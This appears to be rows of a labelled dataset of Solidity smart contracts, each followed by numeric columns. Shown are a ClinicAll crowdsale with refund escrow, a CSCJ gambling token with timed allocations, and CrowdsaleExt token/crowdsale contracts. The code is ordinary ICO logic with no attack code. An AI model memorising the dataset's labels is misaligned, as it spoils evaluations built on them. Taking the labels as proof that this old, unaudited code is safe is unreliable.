buyLimitSupplyMax = _buyLimitSupplyMax;
kycLimitEliminator = _kycLimitEliminator;
}
using SafeMath for uint256;
ClinicAllRefundEscrow public vault;
uint256 public tokenSupplyLimit;
uint256 public discountTokenAmount;
uint256 public discountTokenPercent;
uint256 public preSaleClosingTime;
uint256 public softCapLimit;
uint256 public buyLimitSupplyMin;
uint256 public buyLimitSupplyMax;
uint256 public kycLimitEliminator;
address public privateSaleWallet;
uint256 public privateSaleSupplyLimit;
function updateRate(uint256 _rate) public
onlyManager
{
require(_rate != 0, "Exchange rate should not be 0.");
rate = _rate;
}
function updateBuyLimitRange(uint256 _min, uint256 _max) public
onlyOwner
{
require(_min != 0, "Minimal buy limit should not be 0.");
require(_max != 0, "Maximal buy limit should not be 0.");
require(_max > _min, "Maximal buy limit should be greater than minimal buy limit.");
buyLimitSupplyMin = _min;
buyLimitSupplyMax = _max;
}
function updateKycLimitEliminator(uint256 _value) public
onlyOwner
{
require(_value != 0, "Kyc Eliminator should not be 0.");
kycLimitEliminator = _value;
}
function claimRefund() public {
require(isFinalized, "Claim refunds is only possible if the ICO is finalized.");
require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached.");
uint256 deposit = vault.depositsOf(msg.sender);
vault.withdraw(msg.sender);
weiRaised = weiRaised.sub(deposit);
ClinicAllToken(token).burnAfterRefund(msg.sender);
}
function claimRefundChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner {
require(isFinalized, "Claim refunds is only possible if the ICO is finalized.");
require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached.");
uint256 _weiRefunded;
address[] memory _refundeesList;
(_weiRefunded, _refundeesList) = vault.withdrawChunk(_txFee, _chunkLength);
weiRaised = weiRaised.sub(_weiRefunded);
for (uint256 i = 0; i < _refundeesList.length; i++) {
ClinicAllToken(token).burnAfterRefund(_refundeesList[i]);
}
}
function refundeesListLength() public onlyOwner view returns (uint256) {
return vault.refundeesListLength();
}
function hasClosed() public view returns (bool) {
return ((block.timestamp > closingTime) || tokenSupplyLimit <= token.totalSupply());
}
function goalReached() public view returns (bool) {
return token.totalSupply() >= softCapLimit;
}
function supplyRest() public view returns (uint256) {
return (tokenSupplyLimit.sub(token.totalSupply()));
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
doesNotExceedLimit(_beneficiary, _tokenAmount, token.balanceOf(_beneficiary), kycLimitEliminator)
{
super._processPurchase(_beneficiary, _tokenAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
isLimited(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
uint256 tokens = _getTokenAmount(_weiAmount);
require(tokens.add(token.totalSupply()) <= tokenSupplyLimit, "Total amount fo sold tokens should not exceed the total supply limit.");
require(tokens >= buyLimitSupplyMin, "An investor can buy an amount of tokens only above the minimal limit.");
require(tokens.add(token.balanceOf(_beneficiary)) <= buyLimitSupplyMax, "An investor cannot buy tokens above the maximal limit.");
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
if (isDiscount()) {
return _getTokensWithDiscount(_weiAmount);
}
return _weiAmount.mul(rate);
}
function getTokenAmount(uint256 _weiAmount)
public view returns (uint256)
{
return _getTokenAmount(_weiAmount);
}
function _getTokensWithDiscount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 tokens = 0;
uint256 restOfDiscountTokens = discountTokenAmount.sub(token.totalSupply());
uint256 discountTokensMax = _getDiscountTokenAmount(_weiAmount);
if (restOfDiscountTokens < discountTokensMax) {
uint256 discountTokens = restOfDiscountTokens;
uint256 _rate = _getDiscountRate();
uint256 _discointWeiAmount = discountTokens.div(_rate);
uint256 _restOfWeiAmount = _weiAmount.sub(_discointWeiAmount);
uint256 normalTokens = _restOfWeiAmount.mul(rate);
tokens = discountTokens.add(normalTokens);
} else {
tokens = discountTokensMax;
}
return tokens;
}
function _getDiscountTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
require(_weiAmount != 0, "It should be possible to buy tokens only by providing non zero ETH.");
uint256 _rate = _getDiscountRate();
return _weiAmount.mul(_rate);
}
function _getDiscountRate()
internal view returns (uint256)
{
require(isDiscount(), "Getting discount rate should be possible only below the discount tokens limit.");
return rate.add(rate.mul(discountTokenPercent).div(100));
}
function getRate()
public view returns (uint256)
{
if (isDiscount()) {
return _getDiscountRate();
}
return rate;
}
function isDiscount()
public view returns (bool)
{
return (preSaleClosingTime >= block.timestamp);
}
function transferTokensToReserve(address _beneficiary) private
{
require(tokenSupplyLimit < CappedToken(token).cap(), "Token's supply limit should be less that token' cap limit.");
uint256 _tokenCap = CappedToken(token).cap();
uint256 tokens = _tokenCap.sub(tokenSupplyLimit);
_deliverTokens(_beneficiary, tokens);
}
function transferOn() public onlyOwner
{
ClinicAllToken(token).transferOn();
}
function transferOff() public onlyOwner
{
ClinicAllToken(token).transferOff();
}
function finalization() internal {
if (goalReached()) {
transferTokensToReserve(wallet);
vault.close();
} else {
vault.enableRefunds();
}
MintableToken(token).finishMinting();
super.finalization();
}
function _forwardFunds() internal {
super._forwardFunds();
vault.depositFunds(msg.sender, msg.value);
}
modifier onlyPrivateSaleWallet() {
require(privateSaleWallet == msg.sender, "Wallet should be the same as private sale wallet.");
_;
}
function transferToPrivateInvestor(
address _beneficiary,
uint256 _value
)
public
onlyPrivateSaleWallet
onlyIfWhitelisted(_beneficiary)
returns (bool)
{
ClinicAllToken(token).transferToPrivateInvestor(msg.sender, _beneficiary, _value);
}
function redeemPrivateSaleFunds()
public
onlyPrivateSaleWallet
{
uint256 _balance = ClinicAllToken(token).balanceOf(msg.sender);
privateSaleSupplyLimit = privateSaleSupplyLimit.sub(_balance);
ClinicAllToken(token).burnPrivateSale(msg.sender, _balance);
}
function allocatePrivateSaleFunds(uint256 privateSaleSupplyAmount) public onlyOwner
{
require(privateSaleSupplyLimit.add(privateSaleSupplyAmount) < tokenSupplyLimit, "Token's private sale supply limit should be less that token supply limit.");
privateSaleSupplyLimit = privateSaleSupplyLimit.add(privateSaleSupplyAmount);
_deliverTokens(privateSaleWallet, privateSaleSupplyAmount);
}
function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner {
vault.beneficiaryWithdrawChunk(_value);
}
function beneficiaryWithdrawAll() public onlyOwner {
vault.beneficiaryWithdrawAll();
}
function manualRefund(address _payee) public onlyOwner {
uint256 deposit = vault.depositsOf(_payee);
vault.manualRefund(_payee);
weiRaised = weiRaised.sub(deposit);
ClinicAllToken(token).burnAfterRefund(_payee);
}
} | 0 | 1,107 |
pragma solidity ^0.4.11;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
require(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
require(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
require(c>=a && c>=b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
require(b > 0);
uint c = a / b;
require(a == b * c + a % b);
return c;
}
}
contract Token {
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract ERC20Token is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract CSCJToken is ERC20Token, SafeMath {
string public name = "CSCJ E-GAMBLE";
string public symbol = "CSCJ";
uint public decimals = 9;
address public tokenIssuer = 0x0;
uint public month6Unlock = 1554854400;
uint public month12Unlock = 1570665600;
uint public month24Unlock = 1602288000;
uint public month36Unlock = 1633824000;
uint public month48Unlock = 1665360000;
uint public month9Unlock = 1562716800;
uint public month18Unlock = 1586476800;
uint public month27Unlock = 1610236800;
uint public month45Unlock = 1657411200;
bool public month6Allocated = false;
bool public month12Allocated = false;
bool public month24Allocated = false;
bool public month36Allocated = false;
bool public month48Allocated = false;
bool public month9Allocated = false;
bool public month18Allocated = false;
bool public month27Allocated = false;
bool public month36AllocatedDAPP = false;
bool public month45Allocated = false;
uint totalTokenSaled = 0;
uint public totalTokensCrowdSale = 95000000 * 10**decimals;
uint public totalTokensMAR = 28500000 * 10**decimals;
uint public totalTokensDAPP = 28500000 * 10**decimals;
uint public totalTokensReward = 38000000 * 10**decimals;
event TokenMint(address newTokenHolder, uint amountOfTokens);
event AllocateMARTokens(address indexed sender);
event AllocateDAPPTokens(address indexed sender);
function CSCJToken() {
tokenIssuer = msg.sender;
}
function changeIssuer(address newIssuer) public {
require(msg.sender==tokenIssuer);
tokenIssuer = newIssuer;
}
function allocateMARTokens() public {
require(msg.sender==tokenIssuer);
uint tokens = 0;
if(block.timestamp > month6Unlock && !month6Allocated)
{
month6Allocated = true;
tokens = safeDiv(totalTokensMAR, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month12Unlock && !month12Allocated)
{
month12Allocated = true;
tokens = safeDiv(totalTokensMAR, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month24Unlock && !month24Allocated)
{
month24Allocated = true;
tokens = safeDiv(totalTokensMAR, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month36Unlock && !month36Allocated)
{
month36Allocated = true;
tokens = safeDiv(totalTokensMAR, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month48Unlock && !month48Allocated)
{
month48Allocated = true;
tokens = safeDiv(totalTokensMAR, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else revert();
AllocateMARTokens(msg.sender);
}
function allocateDAPPTokens() public {
require(msg.sender==tokenIssuer);
uint tokens = 0;
if(block.timestamp > month9Unlock && !month9Allocated)
{
month9Allocated = true;
tokens = safeDiv(totalTokensDAPP, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month18Unlock && !month18Allocated)
{
month18Allocated = true;
tokens = safeDiv(totalTokensDAPP, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month27Unlock && !month27Allocated)
{
month27Allocated = true;
tokens = safeDiv(totalTokensDAPP, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month36Unlock && !month36AllocatedDAPP)
{
month36AllocatedDAPP = true;
tokens = safeDiv(totalTokensDAPP, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else if(block.timestamp > month45Unlock && !month45Allocated)
{
month45Allocated = true;
tokens = safeDiv(totalTokensDAPP, 5);
balances[tokenIssuer] = safeAdd(balances[tokenIssuer], tokens);
totalSupply = safeAdd(totalSupply, tokens);
}
else revert();
AllocateDAPPTokens(msg.sender);
}
function mintTokens(address tokenHolder, uint256 amountToken) public
returns (bool success)
{
require(msg.sender==tokenIssuer);
if(totalTokenSaled + amountToken <= totalTokensCrowdSale + totalTokensReward)
{
balances[tokenHolder] = safeAdd(balances[tokenHolder], amountToken);
totalTokenSaled = safeAdd(totalTokenSaled, amountToken);
totalSupply = safeAdd(totalSupply, amountToken);
TokenMint(tokenHolder, amountToken);
return true;
}
else
{
return false;
}
}
} | 0 | 848 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
address public tier;
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function updateRate(uint newOneTokenInWei) public;
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
bool public reservedTokensAreDistributed = false;
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function distributeReservedTokens(uint reservedTokensDistributionBatch);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
string public name;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
bool public finalized;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint8 public joinedCrowdsalesLen = 0;
uint8 public joinedCrowdsalesLenMax = 50;
struct JoinedCrowdsaleStatus {
bool isJoined;
uint8 position;
}
mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
address[] public whitelistedParticipants;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Whitelisted(address addr, bool status, uint minCap, uint maxCap);
event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
name = _name;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
updateInheritedEarlyParticipantWhitelist(receiver, tokenAmount);
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function invest(address addr) public payable {
investInternal(addr, 0);
}
function buy() public payable {
invest(msg.sender);
}
function distributeReservedTokens(uint reservedTokensDistributionBatch) public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.distributeReservedTokens(reservedTokensDistributionBatch);
}
}
function areReservedTokensDistributed() public constant returns (bool) {
return finalizeAgent.reservedTokensAreDistributed();
}
function canDistributeReservedTokens() public constant returns(bool) {
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if ((lastTierCntrct.getState() == State.Success) && !lastTierCntrct.halted() && !lastTierCntrct.finalized() && !lastTierCntrct.areReservedTokensDistributed()) return true;
return false;
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != address(0)) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) public onlyOwner {
assert(address(addr) != address(0));
assert(address(finalizeAgent) == address(0));
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setEarlyParticipantWhitelist(address addr, bool status, uint minCap, uint maxCap) public onlyOwner {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(maxCap > 0);
assert(minCap <= maxCap);
assert(now <= endsAt);
if (!isAddressWhitelisted(addr)) {
whitelistedParticipants.push(addr);
Whitelisted(addr, status, minCap, maxCap);
} else {
WhitelistItemChanged(addr, status, minCap, maxCap);
}
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
}
function setEarlyParticipantWhitelistMultiple(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) public onlyOwner {
if (!isWhiteListed) throw;
assert(now <= endsAt);
assert(addrs.length == statuses.length);
assert(statuses.length == minCaps.length);
assert(minCaps.length == maxCaps.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParticipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateInheritedEarlyParticipantWhitelist(address reciever, uint tokensBought) private {
if (!isWhiteListed) throw;
if (tokensBought < earlyParticipantWhitelist[reciever].minCap && tokenAmountOf[reciever] == 0) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParticipantWhitelist(reciever, tokensBought);
}
}
function updateEarlyParticipantWhitelist(address addr, uint tokensBought) public {
if (!isWhiteListed) throw;
assert(addr != address(0));
assert(now <= endsAt);
assert(isTierJoined(msg.sender));
if (tokensBought < earlyParticipantWhitelist[addr].minCap && tokenAmountOf[addr] == 0) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function isAddressWhitelisted(address addr) public constant returns(bool) {
for (uint i = 0; i < whitelistedParticipants.length; i++) {
if (whitelistedParticipants[i] == addr) {
return true;
break;
}
}
return false;
}
function whitelistedParticipantsLength() public constant returns (uint) {
return whitelistedParticipants.length;
}
function isTierJoined(address addr) public constant returns(bool) {
return joinedCrowdsaleState[addr].isJoined;
}
function getTierPosition(address addr) public constant returns(uint8) {
return joinedCrowdsaleState[addr].position;
}
function getLastTier() public constant returns(address) {
if (joinedCrowdsalesLen > 0)
return joinedCrowdsales[joinedCrowdsalesLen - 1];
else
return address(0);
}
function setJoinedCrowdsales(address addr) private onlyOwner {
assert(addr != address(0));
assert(joinedCrowdsalesLen <= joinedCrowdsalesLenMax);
assert(!isTierJoined(addr));
joinedCrowdsales.push(addr);
joinedCrowdsaleState[addr] = JoinedCrowdsaleStatus({
isJoined: true,
position: joinedCrowdsalesLen
});
joinedCrowdsalesLen++;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) public onlyOwner {
assert(addrs.length > 0);
assert(joinedCrowdsalesLen == 0);
assert(addrs.length <= joinedCrowdsalesLenMax);
for (uint8 iter = 0; iter < addrs.length; iter++) {
setJoinedCrowdsales(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(time <= endsAt);
assert(now <= startsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = 0; j < tierPosition; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time >= crowdsale.endsAt());
}
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) public onlyOwner {
assert(!finalized);
assert(isUpdatable);
assert(now <= time);
assert(startsAt <= time);
assert(now <= endsAt);
CrowdsaleExt lastTierCntrct = CrowdsaleExt(getLastTier());
if (lastTierCntrct.finalized()) throw;
uint8 tierPosition = getTierPosition(this);
for (uint8 j = tierPosition + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
assert(time <= crowdsale.startsAt());
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner {
assert(address(_pricingStrategy) != address(0));
assert(address(pricingStrategy) == address(0));
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else return State.Failure;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) public constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
